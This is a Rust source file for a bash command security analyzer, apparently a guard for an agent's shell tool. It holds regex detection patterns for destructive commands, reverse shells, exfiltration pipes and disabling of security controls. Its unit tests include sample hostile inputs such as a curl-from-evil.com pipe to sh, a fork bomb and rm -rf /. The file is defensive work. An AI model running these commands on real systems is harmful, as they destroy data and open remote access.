1use std::collections::HashSet;
4use std::sync::LazyLock;
5
6use regex::Regex;
7use tree_sitter::{Language, Parser, Query, QueryCursor, StreamingIterator};
8
9static DANGEROUS_PATTERNS: LazyLock<Vec<(Regex, &'static str)>> = LazyLock::new(|| {
10 vec![
11 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/$").unwrap(), "rm root"),
13 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\*").unwrap(), "rm /*"),
14 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\./\*").unwrap(), "rm ./*"),
15 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\./").unwrap(), "rm ../"),
16 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*~/?").unwrap(), "rm home"),
17 (Regex::new(r"rm\s+(-[rfRPd]+\s+)*\.\s*$").unwrap(), "rm ."),
18 (
19 Regex::new(r"rm\s+(-[rfRPd]+\s+)*/\{").unwrap(),
20 "rm brace expansion",
21 ),
22 (
23 Regex::new(r"\b(sudo|doas)\s+rm\b").unwrap(),
24 "privileged rm",
25 ),
26 (
28 Regex::new(r"\bfind\s+/\s+.*-delete\b").unwrap(),
29 "find / -delete",
30 ),
31 (
32 Regex::new(r"\bfind\s+/\s+.*-exec\s+rm\b").unwrap(),
33 "find / -exec rm",
34 ),
35 (Regex::new(r"dd\s+.*if\s*=\s*/dev/zero").unwrap(), "dd zero"),
37 (
38 Regex::new(r"dd\s+.*of\s*=\s*/dev/[sh]d").unwrap(),
39 "dd disk",
40 ),
41 (Regex::new(r"\bmkfs(\.[a-z0-9]+)?\s").unwrap(), "mkfs"),
42 (Regex::new(r">\s*/dev/sd[a-z]").unwrap(), "overwrite disk"),
43 (Regex::new(r"\bfdisk\s+-[lw]").unwrap(), "fdisk"),
44 (Regex::new(r"\bparted\s").unwrap(), "parted"),
45 (Regex::new(r"\bwipefs\b").unwrap(), "wipefs"),
46 (Regex::new(r"shred\s+.*/dev/").unwrap(), "shred device"),
48 (
49 Regex::new(r"shred\s+(-[a-z]+\s+)*/$").unwrap(),
50 "shred root",
51 ),
52 (Regex::new(r"\bsrm\b").unwrap(), "secure-delete"),
53 (
55 Regex::new(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&\s*\}\s*;\s*:").unwrap(),
56 "fork bomb",
57 ),
58 (
59 Regex::new(r"while\s+true\s*;\s*do\s*:\s*done").unwrap(),
60 "infinite loop",
61 ),
62 (Regex::new(r"\bpkexec\b").unwrap(), "pkexec"),
64 (Regex::new(r"\bsu\s+-(\s|$|;|\|)").unwrap(), "su root"),
65 (Regex::new(r"\bsu\s+root\b").unwrap(), "su root explicit"),
66 (Regex::new(r"\bdoas\s+-s\b").unwrap(), "doas shell"),
67 (Regex::new(r"\bshutdown\b").unwrap(), "shutdown"),
69 (Regex::new(r"(^|[^a-z])reboot\b").unwrap(), "reboot"),
70 (Regex::new(r"\binit\s+[06]\b").unwrap(), "init halt"),
71 (
72 Regex::new(r"\bsystemctl\s+(halt|poweroff|reboot)\b").unwrap(),
73 "systemctl power",
74 ),
75 (Regex::new(r"\bhalt\b").unwrap(), "halt"),
76 (Regex::new(r"\bpoweroff\b").unwrap(), "poweroff"),
77 (
79 Regex::new(r"chmod\s+(-[a-zA-Z]+\s+)*[0-7]*[67][0-7]*\s+/").unwrap(),
80 "chmod world-writable",
81 ),
82 (Regex::new(r"chown\s+.*\s+/$").unwrap(), "chown root"),
83 (
84 Regex::new(r"\bchattr\s+\+i\s+/").unwrap(),
85 "chattr immutable",
86 ),
87 (Regex::new(r"\biptables\s+-F").unwrap(), "iptables flush"),
89 (Regex::new(r"\bufw\s+disable").unwrap(), "ufw disable"),
90 (
91 Regex::new(r"\bfirewall-cmd\s+.*--panic-on").unwrap(),
92 "firewall panic",
93 ),
94 (
96 Regex::new(r"(wget|curl)\s+[^|]*\|\s*(ba)?sh\b").unwrap(),
97 "remote exec",
98 ),
99 (Regex::new(r"\beval\s+.*\$\(").unwrap(), "eval subshell"),
100 (
102 Regex::new(r"\bkillall\s+-9\s+(init|systemd)").unwrap(),
103 "kill init",
104 ),
105 (Regex::new(r"\bkill\s+-9\s+-1\b").unwrap(), "kill all"),
106 (Regex::new(r"\bpkill\s+-9\s+-1\b").unwrap(), "pkill all"),
107 (Regex::new(r"history\s+-[cd]").unwrap(), "history clear"),
109 (
110 Regex::new(r"export\s+HISTFILE\s*=\s*/dev/null").unwrap(),
111 "disable history",
112 ),
113 (Regex::new(r"\bcrontab\s+-r\b").unwrap(), "crontab remove"),
115 (Regex::new(r"\bat\s+-d\b").unwrap(), "at remove"),
116 (
118 Regex::new(r"\bcryptsetup\s+luksFormat").unwrap(),
119 "luks format",
120 ),
121 (Regex::new(r"\bnmap\s+-sS").unwrap(), "nmap syn scan"),
123 (
125 Regex::new(r"bash\s+-i\s*>?\s*&\s*/dev/tcp/").unwrap(),
126 "bash reverse shell",
127 ),
128 (
129 Regex::new(r"exec\s+\d+<>/dev/tcp/").unwrap(),
130 "exec fd reverse shell",
131 ),
132 (Regex::new(r"exec\s+\d+<&\d+").unwrap(), "exec fd redirect"),
133 (
134 Regex::new(r"\bnc\s+(-[a-z]+\s+)*-e\s+/bin/(ba)?sh").unwrap(),
135 "nc reverse shell",
136 ),
137 (
138 Regex::new(r#"python[23]?\s+-c\s+["']import\s+(socket|pty)"#).unwrap(),
139 "python reverse shell",
140 ),
141 (
142 Regex::new(r#"perl\s+-e\s+["'].*socket.*exec"#).unwrap(),
143 "perl reverse shell",
144 ),
145 (
146 Regex::new(r"ruby\s+-rsocket\s+-e").unwrap(),
147 "ruby reverse shell",
148 ),
149 (
150 Regex::new(r#"php\s+-r\s+["'].*fsockopen"#).unwrap(),
151 "php reverse shell",
152 ),
153 (
154 Regex::new(r"\bmkfifo\s+.*\|\s*(nc|ncat)\b").unwrap(),
155 "fifo reverse shell",
156 ),
157 (Regex::new(r"\bsocat\s+.*exec:").unwrap(), "socat exec"),
158 (Regex::new(r"\binsmod\s").unwrap(), "insmod"),
160 (Regex::new(r"\bmodprobe\s").unwrap(), "modprobe"),
161 (Regex::new(r"\brmmod\s").unwrap(), "rmmod"),
162 (Regex::new(r"\bnsenter\s").unwrap(), "nsenter"),
164 (
165 Regex::new(r"\bunshare\s+.*--mount").unwrap(),
166 "unshare mount",
167 ),
168 (Regex::new(r"mount\s+-t\s+proc\b").unwrap(), "mount proc"),
169 (
170 Regex::new(r"mount\s+--bind\s+/").unwrap(),
171 "mount bind root",
172 ),
173 (Regex::new(r"\bsetenforce\s+0").unwrap(), "selinux disable"),
175 (Regex::new(r"\baa-disable\b").unwrap(), "apparmor disable"),
176 (Regex::new(r"\baa-teardown\b").unwrap(), "apparmor teardown"),
177 (Regex::new(r"\bgcore\s").unwrap(), "gcore dump"),
179 (Regex::new(r"cat\s+/proc/\d+/mem").unwrap(), "proc mem read"),
180 (
182 Regex::new(r"base64\s+.*\|\s*(curl|wget|nc)\b").unwrap(),
183 "base64 exfil",
184 ),
185 (
186 Regex::new(r"tar\s+[^|]*\|\s*(nc|curl|wget)\b").unwrap(),
187 "tar exfil",
188 ),
189 (
191 Regex::new(r"\bxargs\s+(-[^\s]+\s+)*rm\s+-rf").unwrap(),
192 "xargs rm -rf",
193 ),
194 (
196 Regex::new(r"\bchmod\s+[ugo]*\+s\b").unwrap(),
197 "chmod setuid/setgid",
198 ),
199 (
200 Regex::new(r"\bchmod\s+[0-7]*[4-7][0-7]{2}\b").unwrap(),
201 "chmod suid bits",
202 ),
203 (Regex::new(r"\bchroot\s").unwrap(), "chroot"),
205 (Regex::new(r"\bmount\s+--bind\b").unwrap(), "mount bind"),
207 (
208 Regex::new(r"\bmount\s+-o\s+\S*bind").unwrap(),
209 "mount -o bind",
210 ),
211 (
212 Regex::new(r"\bmount\s+-t\s+overlay\b").unwrap(),
213 "mount overlay",
214 ),
215 (Regex::new(r"\bumount\s+-l\b").unwrap(), "lazy umount"),
216 (
218 Regex::new(r"\biptables\s+-P\s+\S+\s+ACCEPT").unwrap(),
219 "iptables default accept",
220 ),
221 (
222 Regex::new(r"\bufw\s+default\s+allow").unwrap(),
223 "ufw default allow",
224 ),
225 (Regex::new(r"\bnft\s+flush\s+ruleset").unwrap(), "nft flush"),
226 (Regex::new(r"\bsysctl\s+-w\b").unwrap(), "sysctl write"),
228 (Regex::new(r">\s*/proc/sys/").unwrap(), "proc sys write"),
229 (Regex::new(r"\bstrace\s+-p\b").unwrap(), "strace attach"),
231 (Regex::new(r"\bltrace\s+-p\b").unwrap(), "ltrace attach"),
232 (Regex::new(r"\bptrace\b").unwrap(), "ptrace"),
233 (
235 Regex::new(r"\bulimit\s+-[nu]\s*0\b").unwrap(),
236 "ulimit zero",
237 ),
238 (Regex::new(r"\bsetcap\b").unwrap(), "setcap"),
240 (Regex::new(r"\bcapsh\b").unwrap(), "capsh"),
241 (Regex::new(r"\bkexec\b").unwrap(), "kexec"),
243 (Regex::new(r"\bpivot_root\b").unwrap(), "pivot_root"),
244 (Regex::new(r"\bswapoff\s+-a\b").unwrap(), "swapoff all"),
245 ]
246});
247
248fn bash_language() -> Language {
249 tree_sitter_bash::LANGUAGE.into()
250}
251
252#[derive(Debug, Clone, PartialEq, Eq)]
253pub enum SecurityConcern {
254 CommandSubstitution,
255 ProcessSubstitution,
256 EvalUsage,
257 RemoteExecution,
258 PrivilegeEscalation,
259 DangerousCommand(String),
260 VariableExpansion,
261 BacktickSubstitution,
262}
263
264#[derive(Debug, Clone)]
265pub struct ReferencedPath {
266 pub path: String,
267 pub context: PathContext,
268}
269
270#[derive(Debug, Clone, PartialEq, Eq)]
271pub enum PathContext {
272 Argument,
273 InputRedirect,
274 OutputRedirect,
275 HereDoc,
276}
277
278#[derive(Debug, Clone)]
279pub struct BashAnalysis {
280 pub paths: Vec<ReferencedPath>,
281 pub commands: Vec<String>,
282 pub env_vars: HashSet<String>,
283 pub concerns: Vec<SecurityConcern>,
284}
285
286impl BashAnalysis {
287 fn new() -> Self {
288 Self {
289 paths: Vec::new(),
290 commands: Vec::new(),
291 env_vars: HashSet::new(),
292 concerns: Vec::new(),
293 }
294 }
295}
296
297#[derive(Debug, Clone, Default)]
298pub struct BashPolicy {
299 pub allow_command_substitution: bool,
300 pub allow_process_substitution: bool,
301 pub allow_eval: bool,
302 pub allow_remote_exec: bool,
303 pub allow_privilege_escalation: bool,
304 pub allow_variable_expansion: bool,
305 pub blocked_commands: HashSet<String>,
306}
307
308impl BashPolicy {
309 pub fn strict() -> Self {
310 Self {
311 allow_command_substitution: false,
312 allow_process_substitution: false,
313 allow_eval: false,
314 allow_remote_exec: false,
315 allow_privilege_escalation: false,
316 allow_variable_expansion: false,
317 blocked_commands: Self::default_blocked_commands(),
318 }
319 }
320
321 pub fn permissive() -> Self {
322 Self {
323 allow_command_substitution: true,
324 allow_process_substitution: true,
325 allow_eval: true,
326 allow_remote_exec: true,
327 allow_privilege_escalation: true,
328 allow_variable_expansion: true,
329 blocked_commands: HashSet::new(),
330 }
331 }
332
333 pub fn default_blocked_commands() -> HashSet<String> {
334 [
335 "curl", "wget", "nc", "ncat", "netcat", "telnet", "ftp", "sftp", "scp", "rsync",
336 ]
337 .into_iter()
338 .map(String::from)
339 .collect()
340 }
341
342 pub fn with_blocked_commands(
343 mut self,
344 commands: impl IntoIterator<Item = impl Into<String>>,
345 ) -> Self {
346 self.blocked_commands = commands.into_iter().map(Into::into).collect();
347 self
348 }
349
350 pub fn is_command_blocked(&self, command: &str) -> bool {
351 let base_command = command.split_whitespace().next().unwrap_or(command);
352 self.blocked_commands.contains(base_command)
353 }
354
355 pub fn allows(&self, concern: &SecurityConcern) -> bool {
356 match concern {
357 SecurityConcern::CommandSubstitution | SecurityConcern::BacktickSubstitution => {
358 self.allow_command_substitution
359 }
360 SecurityConcern::ProcessSubstitution => self.allow_process_substitution,
361 SecurityConcern::EvalUsage => self.allow_eval,
362 SecurityConcern::RemoteExecution => self.allow_remote_exec,
363 SecurityConcern::PrivilegeEscalation => self.allow_privilege_escalation,
364 SecurityConcern::VariableExpansion => self.allow_variable_expansion,
365 SecurityConcern::DangerousCommand(_) => false,
366 }
367 }
368}
369
370#[derive(Clone)]
371pub struct BashAnalyzer {
372 policy: BashPolicy,
373}
374
375impl BashAnalyzer {
376 pub fn new(policy: BashPolicy) -> Self {
377 Self { policy }
378 }
379
380 pub fn analyze(&self, command: &str) -> BashAnalysis {
381 let mut analysis = BashAnalysis::new();
382
383 self.check_dangerous_patterns(command, &mut analysis);
384
385 let mut parser = Parser::new();
386 if parser.set_language(&bash_language()).is_err() {
387 self.fallback_analysis(command, &mut analysis);
388 return analysis;
389 }
390
391 let Some(tree) = parser.parse(command, None) else {
392 self.fallback_analysis(command, &mut analysis);
393 return analysis;
394 };
395
396 self.extract_paths_from_tree(&tree, command, &mut analysis);
397 self.extract_commands_from_tree(&tree, command, &mut analysis);
398 self.check_security_concerns(&tree, command, &mut analysis);
399
400 analysis
401 }
402
403 pub fn validate(&self, command: &str) -> Result<BashAnalysis, String> {
404 let analysis = self.analyze(command);
405
406 for cmd in &analysis.commands {
408 if self.policy.is_command_blocked(cmd) {
409 return Err(format!("Blocked command: {}", cmd));
410 }
411 }
412
413 for concern in &analysis.concerns {
414 if !self.policy.allows(concern) {
415 return Err(format!("Security concern: {:?}", concern));
416 }
417 }
418
419 Ok(analysis)
420 }
421
422 fn check_dangerous_patterns(&self, command: &str, analysis: &mut BashAnalysis) {
423 let normalized = Self::normalize_whitespace(command);
424 for (pattern, name) in DANGEROUS_PATTERNS.iter() {
425 if pattern.is_match(&normalized) {
426 analysis
427 .concerns
428 .push(SecurityConcern::DangerousCommand(name.to_string()));
429 }
430 }
431 }
432
433 fn normalize_whitespace(command: &str) -> String {
434 static WS_RE: LazyLock<Regex> = LazyLock::new(|| Regex::new(r"[ \t]+").unwrap());
435 WS_RE.replace_all(command.trim(), " ").to_string()
436 }
437
438 fn extract_paths_from_tree(
439 &self,
440 tree: &tree_sitter::Tree,
441 source: &str,
442 analysis: &mut BashAnalysis,
443 ) {
444 let query_str = r#"
445 (word) @arg
446 (file_redirect (word) @redirect_file)
447 (heredoc_redirect (heredoc_body) @heredoc)
448 "#;
449
450 if let Ok(query) = Query::new(&bash_language(), query_str) {
451 let mut cursor = QueryCursor::new();
452 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
453 while let Some(m) = matches.next() {
454 for capture in m.captures {
455 let text = &source[capture.node.byte_range()];
456 if text.starts_with('/') && !text.starts_with("/dev/") {
457 let context = match capture.index {
458 1 => PathContext::InputRedirect,
459 2 => PathContext::HereDoc,
460 _ => PathContext::Argument,
461 };
462 analysis.paths.push(ReferencedPath {
463 path: text.to_string(),
464 context,
465 });
466 }
467 }
468 }
469 }
470
471 self.extract_redirect_paths(source, analysis);
472 }
473
474 fn extract_redirect_paths(&self, source: &str, analysis: &mut BashAnalysis) {
475 static REDIRECT_RE: LazyLock<Regex> =
476 LazyLock::new(|| Regex::new(r"[<>]&?\s*(/[^\s;&|]+)").unwrap());
477
478 for cap in REDIRECT_RE.captures_iter(source) {
479 if let Some(path_match) = cap.get(1) {
480 let path = path_match.as_str();
481 if !path.starts_with("/dev/") {
482 let context = if source[..cap.get(0).unwrap().start()].ends_with('<') {
483 PathContext::InputRedirect
484 } else {
485 PathContext::OutputRedirect
486 };
487 analysis.paths.push(ReferencedPath {
488 path: path.to_string(),
489 context,
490 });
491 }
492 }
493 }
494 }
495
496 fn extract_commands_from_tree(
497 &self,
498 tree: &tree_sitter::Tree,
499 source: &str,
500 analysis: &mut BashAnalysis,
501 ) {
502 let query_str = "(command name: (command_name) @cmd)";
503
504 if let Ok(query) = Query::new(&bash_language(), query_str) {
505 let mut cursor = QueryCursor::new();
506 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
507 while let Some(m) = matches.next() {
508 for capture in m.captures {
509 let cmd = &source[capture.node.byte_range()];
510 analysis.commands.push(cmd.to_string());
511 }
512 }
513 }
514 }
515
516 fn check_security_concerns(
517 &self,
518 tree: &tree_sitter::Tree,
519 source: &str,
520 analysis: &mut BashAnalysis,
521 ) {
522 let query_str = r#"
523 (command_substitution) @cmd_sub
524 (process_substitution) @proc_sub
525 (expansion) @var_exp
526 (simple_expansion) @simple_exp
527 "#;
528
529 if let Ok(query) = Query::new(&bash_language(), query_str) {
530 let mut cursor = QueryCursor::new();
531 let mut matches = cursor.matches(&query, tree.root_node(), source.as_bytes());
532 while let Some(m) = matches.next() {
533 for capture in m.captures {
534 match capture.index {
535 0 => analysis.concerns.push(SecurityConcern::CommandSubstitution),
536 1 => analysis.concerns.push(SecurityConcern::ProcessSubstitution),
537 2 | 3 => {
538 let var_text = &source[capture.node.byte_range()];
539 analysis.env_vars.insert(var_text.to_string());
540 analysis.concerns.push(SecurityConcern::VariableExpansion);
541 }
542 _ => {}
543 }
544 }
545 }
546 }
547
548 if source.contains('`') {
550 analysis
551 .concerns
552 .push(SecurityConcern::BacktickSubstitution);
553 }
554
555 for cmd in &analysis.commands {
556 match cmd.as_str() {
557 "eval" | "source" | "." => analysis.concerns.push(SecurityConcern::EvalUsage),
558 "sudo" | "doas" | "pkexec" | "su" => {
559 analysis.concerns.push(SecurityConcern::PrivilegeEscalation)
560 }
561 _ => {}
562 }
563 }
564
565 self.check_remote_execution(source, analysis);
567 }
568
569 fn check_remote_execution(&self, source: &str, analysis: &mut BashAnalysis) {
570 static REMOTE_EXEC_RE: LazyLock<Regex> = LazyLock::new(|| {
571 Regex::new(r"(curl|wget)\s+[^|]*\|\s*(ba)?sh|env\s+bash|exec\s+bash").unwrap()
572 });
573 if REMOTE_EXEC_RE.is_match(source) {
574 analysis.concerns.push(SecurityConcern::RemoteExecution);
575 }
576 if source.contains("curl")
577 && source.contains("|")
578 && (source.contains("sh") || source.contains("bash"))
579 && !analysis
580 .concerns
581 .contains(&SecurityConcern::RemoteExecution)
582 {
583 analysis.concerns.push(SecurityConcern::RemoteExecution);
584 }
585 if source.contains("wget")
586 && source.contains("|")
587 && (source.contains("sh") || source.contains("bash"))
588 && !analysis
589 .concerns
590 .contains(&SecurityConcern::RemoteExecution)
591 {
592 analysis.concerns.push(SecurityConcern::RemoteExecution);
593 }
594 }
595
596 fn fallback_analysis(&self, command: &str, analysis: &mut BashAnalysis) {
597 static PATH_RE: LazyLock<Regex> =
598 LazyLock::new(|| Regex::new(r#"(?:^|[\s'"=])(/[^\s'";&|><$`\\]+)"#).unwrap());
599 static VAR_RE: LazyLock<Regex> =
600 LazyLock::new(|| Regex::new(r"\$\{?[a-zA-Z_][a-zA-Z0-9_]*\}?").unwrap());
601
602 for cap in PATH_RE.captures_iter(command) {
603 if let Some(path_match) = cap.get(1) {
604 let path = path_match.as_str();
605 if !path.starts_with("/dev/")
606 && !path.starts_with("/proc/")
607 && !path.starts_with("/sys/")
608 {
609 analysis.paths.push(ReferencedPath {
610 path: path.to_string(),
611 context: PathContext::Argument,
612 });
613 }
614 }
615 }
616
617 static CMD_RE: LazyLock<Regex> =
618 LazyLock::new(|| Regex::new(r"^(\w+)|[;&|]\s*(\w+)").unwrap());
619
620 for cap in CMD_RE.captures_iter(command) {
621 if let Some(cmd) = cap.get(1).or(cap.get(2)) {
622 analysis.commands.push(cmd.as_str().to_string());
623 }
624 }
625
626 if command.contains("$(") {
627 analysis.concerns.push(SecurityConcern::CommandSubstitution);
628 }
629 if command.contains('`') {
630 analysis
631 .concerns
632 .push(SecurityConcern::BacktickSubstitution);
633 }
634 if command.contains("<(") || command.contains(">(") {
635 analysis.concerns.push(SecurityConcern::ProcessSubstitution);
636 }
637
638 for cap in VAR_RE.captures_iter(command) {
639 if let Some(var_match) = cap.get(0) {
640 analysis.env_vars.insert(var_match.as_str().to_string());
641 if !analysis
642 .concerns
643 .contains(&SecurityConcern::VariableExpansion)
644 {
645 analysis.concerns.push(SecurityConcern::VariableExpansion);
646 }
647 }
648 }
649 }
650}
651
652impl Default for BashAnalyzer {
653 fn default() -> Self {
654 Self::new(BashPolicy::default())
655 }
656}
657
658#[cfg(test)]
659mod tests {
660 use super::*;
661
662 #[test]
663 fn test_dangerous_command_blocked() {
664 let analyzer = BashAnalyzer::default();
665 let analysis = analyzer.analyze("rm -rf /");
666 assert!(
667 analysis
668 .concerns
669 .iter()
670 .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
671 );
672 }
673
674 #[test]
675 fn test_extract_paths() {
676 let analyzer = BashAnalyzer::default();
677 let analysis = analyzer.analyze("cat /etc/passwd && ls /home/user");
678 assert!(analysis.paths.iter().any(|p| p.path == "/etc/passwd"));
679 assert!(analysis.paths.iter().any(|p| p.path == "/home/user"));
680 }
681
682 #[test]
683 fn test_redirect_paths() {
684 let analyzer = BashAnalyzer::default();
685 let analysis = analyzer.analyze("echo test > /tmp/out.txt");
686 assert!(analysis.paths.iter().any(|p| p.path == "/tmp/out.txt"));
687 }
688
689 #[test]
690 fn test_input_redirect() {
691 let analyzer = BashAnalyzer::default();
692 let analysis = analyzer.analyze("cat < /etc/hosts");
693 assert!(analysis.paths.iter().any(|p| p.path == "/etc/hosts"));
694 }
695
696 #[test]
697 fn test_command_substitution_detected() {
698 let analyzer = BashAnalyzer::default();
699 let analysis = analyzer.analyze("echo $(cat /etc/passwd)");
700 assert!(
701 analysis
702 .concerns
703 .iter()
704 .any(|c| matches!(c, SecurityConcern::CommandSubstitution))
705 );
706 }
707
708 #[test]
709 fn test_process_substitution_detected() {
710 let analyzer = BashAnalyzer::default();
711 let analysis = analyzer.analyze("diff <(ls /a) <(ls /b)");
712 assert!(
713 analysis
714 .concerns
715 .iter()
716 .any(|c| matches!(c, SecurityConcern::ProcessSubstitution))
717 );
718 }
719
720 #[test]
721 fn test_privilege_escalation_detected() {
722 let analyzer = BashAnalyzer::default();
723 let analysis = analyzer.analyze("sudo apt update");
724 assert!(
725 analysis
726 .concerns
727 .iter()
728 .any(|c| matches!(c, SecurityConcern::PrivilegeEscalation))
729 );
730 }
731
732 #[test]
733 fn test_remote_exec_detected() {
734 let analyzer = BashAnalyzer::default();
735 let analysis = analyzer.analyze("curl http://evil.com/script | sh");
736 assert!(
737 analysis
738 .concerns
739 .iter()
740 .any(|c| matches!(c, SecurityConcern::RemoteExecution))
741 );
742 }
743
744 #[test]
745 fn test_policy_validation() {
746 let analyzer = BashAnalyzer::new(BashPolicy::strict());
747 let result = analyzer.validate("echo $(whoami)");
748 assert!(result.is_err());
749 }
750
751 #[test]
752 fn test_safe_command() {
753 let analyzer = BashAnalyzer::new(BashPolicy::default());
754 let analysis = analyzer.analyze("echo hello world");
755 assert!(analysis.concerns.is_empty());
756 }
757
758 #[test]
759 fn test_fork_bomb_detected() {
760 let analyzer = BashAnalyzer::default();
761 let analysis = analyzer.analyze(":(){:|:&};:");
762 assert!(
763 analysis
764 .concerns
765 .iter()
766 .any(|c| matches!(c, SecurityConcern::DangerousCommand(_)))
767 );
768 }
769
770 #[test]
771 fn test_variable_expansion_detected() {
772 let analyzer = BashAnalyzer::default();
773 let analysis = analyzer.analyze("cat $HOME/.bashrc");
774 assert!(
775 analysis
776 .concerns
777 .iter()
778 .any(|c| matches!(c, SecurityConcern::VariableExpansion))
779 );
780 assert!(analysis.env_vars.contains("$HOME"));
781 }
782
783 #[test]
784 fn test_backtick_substitution_detected() {
785 let analyzer = BashAnalyzer::default();
786 let analysis = analyzer.analyze("echo `whoami`");
787 assert!(
788 analysis
789 .concerns
790 .iter()
791 .any(|c| matches!(c, SecurityConcern::BacktickSubstitution))
792 );
793 }
794
795 #[test]
796 fn test_source_command_detected() {
797 let analyzer = BashAnalyzer::default();
798 let analysis = analyzer.analyze("source /etc/profile");
799 assert!(
800 analysis
801 .concerns
802 .iter()
803 .any(|c| matches!(c, SecurityConcern::EvalUsage))
804 );
805 }
806}